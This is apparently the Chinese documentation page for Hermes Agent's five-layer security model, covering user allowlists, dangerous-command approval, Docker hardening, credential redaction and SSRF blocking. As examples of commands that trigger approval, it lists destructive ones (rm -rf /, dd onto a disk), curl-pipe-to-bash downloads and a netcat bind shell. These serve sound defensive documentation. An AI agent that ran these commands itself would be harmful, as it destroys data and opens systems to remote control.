Skip to content

安全模型

Hermes Agent 采用五层纵深防御体系,在保证功能完整性的同时最大限度降低安全风险。


安全架构概览

┌─────────────────────────────────────────────┐
│  第一层:用户身份认证                         │
│  (允许用户列表 / DM 配对)                     │
├─────────────────────────────────────────────┤
│  第二层:危险命令审批                         │
│  (manual / smart / off)                     │
├─────────────────────────────────────────────┤
│  第三层:容器隔离执行                         │
│  (Docker 硬化 / Singularity)                │
├─────────────────────────────────────────────┤
│  第四层:MCP 凭据过滤                         │
│  (防止工具调用泄露密钥)                       │
├─────────────────────────────────────────────┤
│  第五层:上下文文件扫描                       │
│  (Tirith 预执行安全扫描)                      │
└─────────────────────────────────────────────┘

第一层:用户身份认证

网关默认拒绝策略

消息平台网关采用**默认拒绝(Default Deny)**策略:所有未被明确授权的用户发来的消息均被静默忽略,不会触发任何响应或日志记录。

允许用户列表

.envconfig.yaml 中配置允许使用机器人的用户:

bash
# Telegram:填写用户的数字 ID
TELEGRAM_ALLOWED_USERS=123456789,987654321

# Discord:填写用户的雪花 ID
DISCORD_ALLOWED_USERS=123456789012345678

# Slack:填写用户的 Member ID(U 开头)
SLACK_ALLOWED_USERS=U01234ABCDE

获取 Telegram 用户 ID:向 @userinfobot 发送任意消息。

DM 配对模式

当不方便预先配置用户 ID 时,可启用 DM 配对(Direct Message Pairing) 模式:

yaml
gateway:
  auth:
    mode: dm_pairing
    # 配对码有效期(分钟)
    code_expiry: 10

使用流程:

  1. 管理员运行 hermes gateway pair 生成一个 8 位配对码(如 A3X9-KP7Q
  2. 新用户向机器人发送该配对码
  3. 机器人验证通过后,将该用户加入授权列表
  4. 配对码单次有效,过期自动失效
bash
# 生成配对码
hermes gateway pair

# 输出示例:
# 配对码:A3X9-KP7Q
# 有效期:10 分钟
# 请将此码发送给需要授权的用户

第二层:危险命令审批

审批模式

通过 config.yaml 配置审批模式:

yaml
approvals:
  mode: manual  # manual | smart | off
  timeout: 30   # 超时秒数,超时后自动拒绝
模式行为适用场景
manual所有危险操作都需手动确认(默认)生产环境、高安全需求
smartLLM 评估风险等级,低风险自动批准日常开发,平衡效率与安全
off自动批准所有操作,不做任何拦截受控的自动化环境(慎用)

危险命令触发条件

以下操作模式会触发审批流程:

文件系统破坏性操作

bash
rm -rf /          # 递归删除根目录
rm -rf ~          # 递归删除家目录
rm -rf * --no-preserve-root
find . -delete    # 递归删除当前目录

不安全的权限变更

bash
chmod 777 -R /    # 递归赋予全局写权限
chmod a+s binary  # 设置 setuid/setgid 位
chown -R root:root /home  # 递归变更所有者

磁盘与设备操作

bash
mkfs.ext4 /dev/sda   # 格式化磁盘
dd if=/dev/zero of=/dev/sda  # 磁盘清零
fdisk /dev/sda       # 磁盘分区操作

数据库破坏性操作

bash
DROP DATABASE production;
TRUNCATE TABLE users;
DELETE FROM orders;  # 无 WHERE 条件

不可信管道执行

bash
curl https://example.com/script.sh | bash
wget -O- https://example.com/install | sh
cat untrusted.sh | sudo bash

网络暴露操作

bash
ufw disable          # 关闭防火墙
iptables -F          # 清空防火墙规则
nc -l -p 4444 -e /bin/bash  # 开启反弹 Shell

审批选项

触发审批时,终端或消息平台会显示:

⚠️  检测到危险操作,需要您的确认:

命令:rm -rf ./old_project

风险评估:
  - 将递归删除 ./old_project 目录下的所有文件
  - 操作不可逆,无法撤销

请选择:
  [1] 仅此次批准(once)
  [2] 本次会话内批准(session)
  [3] 永久批准此类操作(always)
  [4] 拒绝(deny)

您的选择(30 秒后自动拒绝):
选项说明
once仅批准当前这一次操作,下次相同操作仍需确认
session本次会话期间批准此类操作,会话结束后重置
always永久批准此类操作,写入配置文件(谨慎使用)
deny拒绝执行,不做任何操作

第三层:容器隔离执行

Docker 安全硬化

当终端后端设置为 docker 时,Hermes Agent 使用经过安全硬化的容器执行所有命令:

yaml
terminal:
  backend: docker
  docker:
    image: nousresearch/hermes-sandbox:latest

容器运行时安全参数:

bash
docker run \
  --cap-drop ALL \              # 丢弃所有 Linux Capabilities
  --no-new-privileges \         # 禁止提权
  --pids-limit 256 \            # 限制进程数(防 fork 炸弹)
  --memory 2g \                 # 内存上限
  --cpus 2.0 \                  # CPU 上限
  --read-only \                 # 根文件系统只读
  --tmpfs /tmp:size=512m \      # 临时目录(内存)
  --network bridge \            # 限制网络访问
  --security-opt no-new-privileges \
  nousresearch/hermes-sandbox:latest

目录挂载白名单

只有在配置文件中明确列出的目录才能被挂载到容器内:

yaml
terminal:
  docker:
    allowed_mounts:
      - ~/projects      # 允许挂载项目目录
      - /tmp            # 允许挂载临时目录
      # 注意:根目录、系统目录不应出现在此列表中

Singularity 隔离

在 HPC 集群环境中,使用 Singularity 提供类似的隔离能力:

yaml
terminal:
  backend: singularity
  singularity:
    image: /path/to/hermes.sif
    # 以非特权用户运行
    writable: false

第四层:MCP 凭据过滤

当 Hermes Agent 作为 MCP 客户端调用外部工具服务器时,所有经过工具调用的内容都会经过凭据过滤器处理:

过滤规则

凭据过滤器会自动识别并脱敏以下模式的字符串:

API Key 模式:
  sk-[A-Za-z0-9]{48}          → sk-****
  sk-ant-[A-Za-z0-9-]{95}     → sk-ant-****
  AIza[A-Za-z0-9-_]{35}       → AIza****

Token 模式:
  Bearer [A-Za-z0-9._-]+      → Bearer ****
  token=[A-Za-z0-9._-]+       → token=****

密码模式:
  password=\S+                → password=****
  passwd=\S+                  → passwd=****

自定义过滤规则

yaml
security:
  credential_redaction: true
  custom_redaction_patterns:
    - pattern: "MY_SECRET_[A-Z0-9]+"
      replacement: "MY_SECRET_****"
    - pattern: "internal\\.company\\.com"
      replacement: "[INTERNAL_HOST]"

第五层:上下文文件扫描

Tirith 预执行扫描

在执行任何涉及文件读取的操作之前,Hermes Agent 会使用 Tirith 安全策略引擎对目标文件进行扫描:

yaml
security:
  tirith_scanning: true
  tirith_policy_dir: ~/.hermes/security/policies

内置扫描策略包括:

  • 敏感文件检测:识别 .envcredentialsid_rsa 等敏感文件,读取前发出警告
  • 恶意代码模式:检测文件中的已知恶意代码特征
  • 权限异常检测:识别权限配置异常的文件

SSRF 防护

防止服务端请求伪造攻击(Server-Side Request Forgery):

yaml
security:
  ssrf_protection: true

启用后,以下类型的请求会被自动拦截:

  • 访问云服务商元数据接口(169.254.169.254fd00:ec2::254 等)
  • 访问内网 IP 段(10.0.0.0/8172.16.0.0/12192.168.0.0/16
  • 访问 localhost / loopback 地址(127.0.0.1::1
  • 访问 .internal.local 域名

网站访问黑名单

限制 Hermes Agent 可以访问的外部网站:

yaml
security:
  website_blocklist:
    # 屏蔽特定域名
    - "malware-site.example.com"
    # 屏蔽域名通配符
    - "*.torrent"
    - "*.onion"
    # 屏蔽 IP 段(CIDR 格式)
    - "192.168.0.0/16"
    - "10.0.0.0/8"
    # 屏蔽特定 IP
    - "169.254.169.254"

安全最佳实践

生产环境部署建议

  1. 始终使用 Docker 后端:将 terminal.backend 设置为 docker,隔离命令执行环境。

  2. 保持审批模式为 manual:不要在生产环境中使用 off 模式。

  3. 严格配置允许用户列表:明确列出每个允许使用的用户 ID,避免使用"所有人"模式。

  4. 定期轮换 API Key:避免长期使用同一密钥,降低泄露风险。

  5. 限制挂载目录docker.allowed_mounts 中只列出确实需要访问的目录。

  6. 启用所有安全扫描:保持 ssrf_protectiontirith_scanningcredential_redaction 全部开启。

  7. 审查技能文件:来自外部来源的技能文件在使用前应手动审查,避免执行恶意命令。

个人使用建议

  1. 本地使用可适当放宽:个人开发机上可以使用 smart 审批模式提升效率。

  2. 善用 once 批准:即使在受信任的操作中,也优先选择 once 而非 always

  3. 定期查看审计日志:运行 hermes logs 查看近期操作记录,及时发现异常。


安全漏洞报告

如果你发现 Hermes Agent 的安全漏洞,请通过以下方式负责任地披露:

  • 邮件:security@nousresearch.com
  • GitHub Security Advisories:在项目仓库的 Security 标签页提交私密报告

请不要通过公开 Issue 报告安全漏洞,以避免漏洞被恶意利用。

基于 MIT 许可发布 | 由 Nous Research 开发